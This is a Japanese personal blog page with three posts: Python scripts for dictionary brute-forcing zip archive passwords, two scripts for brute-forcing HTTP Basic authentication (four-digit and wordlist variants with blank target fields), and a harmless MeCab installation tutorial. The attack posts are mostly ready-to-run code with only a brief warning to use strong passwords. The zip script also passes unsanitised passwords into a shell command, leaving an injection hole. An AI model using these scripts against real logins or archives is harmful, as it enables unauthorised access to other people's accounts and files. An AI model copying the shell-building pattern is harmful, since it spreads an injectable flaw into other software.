Nekkoneko Blog

ITに関することや自分の趣味について書きます.

zipファイルへの総当たり攻撃

前回の記事

前回は,PythonBasic認証へ総当たり攻撃という記事をかいたのですが,今回はzipファイルに対して総当たり攻撃をしてみました!

書いてみた

# args[1] -> dictionary file , args[2] -> zip file


import os
import sys

args = sys.argv

dic = open(args[1],"r")
passwd_list=dic.read().split("\n")

for passwd in passwd_list:
    if len(passwd) == 0:
        print("empty")
    else:
        result=os.system('unzip -P ' + passwd + ' ' + args[2])
        if result == 0:
            print("password is found!!! ->",passwd)
            sys.exit()
print("password is not found")

説明

ほとんど説明することはありませんが,

  • 一つ目の引数に,辞書ファイル.二つ目の引数にzipファイルを指定する.

  • 辞書ファイルを1行ずつ読んで,zipファイルのパスワードと照合

  • 見つかれば,終了

パスワードは厳重に!

ワナビースクリプトキディにやられないように気を付けてください.

PythonでBasic認証に総当り攻撃 

Basic認証って?

WebページにアクセスするときにIDとパスワードを求められるあれですよ.

Basic認証弱すぎじゃね?

Basic認証は,設定次第でアクセス試行回数を制限できるんですが,みんながそんなことをやっているわけではないので(てか,やってないほうが多い気がする),すぐ破られちゃいます.

Pythonで総当り攻撃

というわけで,プログラムを書いてみたんですが,めちゃくちゃ簡単に書くことができます.

で,その書いたプログラムというのがこちらです. (上が数字4桁,下が辞書ファイルを使ったもの)

#数字4桁の総当たり攻撃
import urllib.request

def attack_basic(url,user_id):
    for password in range(1,10000):
        password = str(password)
        try:
            pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
            pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password)
            handler = urllib.request.HTTPBasicAuthHandler(pass_mgr)
            opener = urllib.request.build_opener(handler)
            urllib.request.install_opener(opener)
            urllib.request.urlopen(url)
            print("%s is correct!" % password)
        except urllib.request.HTTPError as err:
            print("%s is incorrect" % password)


if __name__ == '__main__':
    url = ""
    user_id = ""
    attack_basic(url,user_id)
#辞書ファイルを使った総当たり攻撃
import urllib.request

def attack_basic(url,user_id):
    f = open("","r")
    passlist=f.read().splitlines()
    for password in passlist:
        try:
            pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
            pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password)
            handler = urllib.request.HTTPBasicAuthHandler(pass_mgr)
            opener = urllib.request.build_opener(handler)
            urllib.request.install_opener(opener)
            urllib.request.urlopen(url)
            print("%s is correct!" % password)
        except urllib.request.HTTPError as err:
            print("%s is incorrect" % password)


if __name__ == '__main__':
    url = ""
    user_id = ""
    attack_basic(url,user_id)

ピンときた人は!

すぐ変えてください. 私程度のワナビーにパスワードを破られるようじゃお話になりません.

MeCabをPythonで使ってみる

MeCabって?

形態素解析をするためのツールです

じゃあその形態素解析ってなに?

コマンドラインで実行した結果です.

$ mecab
君の名は  ← 入力
君      名詞,代名詞,一般,*,*,*,君,キミ,キミ
の      助詞,連体化,*,*,*,*,の,ノ,ノ
名      名詞,一般,*,*,*,*,名,ナ,ナ
は      助詞,係助詞,*,*,*,*,は,ハ,ワ
EOS

こんな感じで,文書を単語ごとに分割することです.

そういえば,君の名はがテレ朝で1月3日に公開されますね!(今は関係ない)

やり方

  • まずはMeCabとその関連パッケージをインストールします
$ sudo apt-get install mecab libmecab-dev mecab-ipadic mecab-ipadic-utf8
  • MeCabがインストールできたか確認
$ mecab
(入力待になります)

これで,コマンドライン上での実行は完了です.

PythonMeCabを実行

次はPythonMeCabを実行しましょう!

  • 環境に合わせて選択してください ↓

Python 2の場合

$ pip install mecab-python

Python 3の場合

$ pip3 install mecab-python3
  • 確認

以下のソースコードをコピペして実行してみてください.

import sys
import MeCab
m = MeCab.Tagger()
text = m.parse("君の名前は")
print(text)

これができれば,PythonMeCabを使うことができるようになります!

ですが,インストールした時の辞書は固有名詞などの形態素解析に弱いです.

というわけで! 辞書を変えていきましょう

辞書を変更する

$ git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git
$ cd mecab-ipadic-neologd
$ ./bin/install-mecab-ipadic-neologd -n -a

これで辞書の取得は完了です.

確認のため,以下のコードを実行してみてください.

import sys
import MeCab
# Taggerの引数に-dオプションとmecab-ipadic-neologdの場所を指定する
m = MeCab.Tagger("-d ../mecab-ipadic-neologd")
text = m.parse("君の名は")
print(text)
  • MeCab.Taggerの引数には,先ほどインストールした mecab-ipadic-neologdの場所を指定します.

  • 忘れた・わからないという方はこちらのコマンドで確認できます.

$ echo `mecab-config --dicdir`"/mecab-ipadic-neologd"

以上です!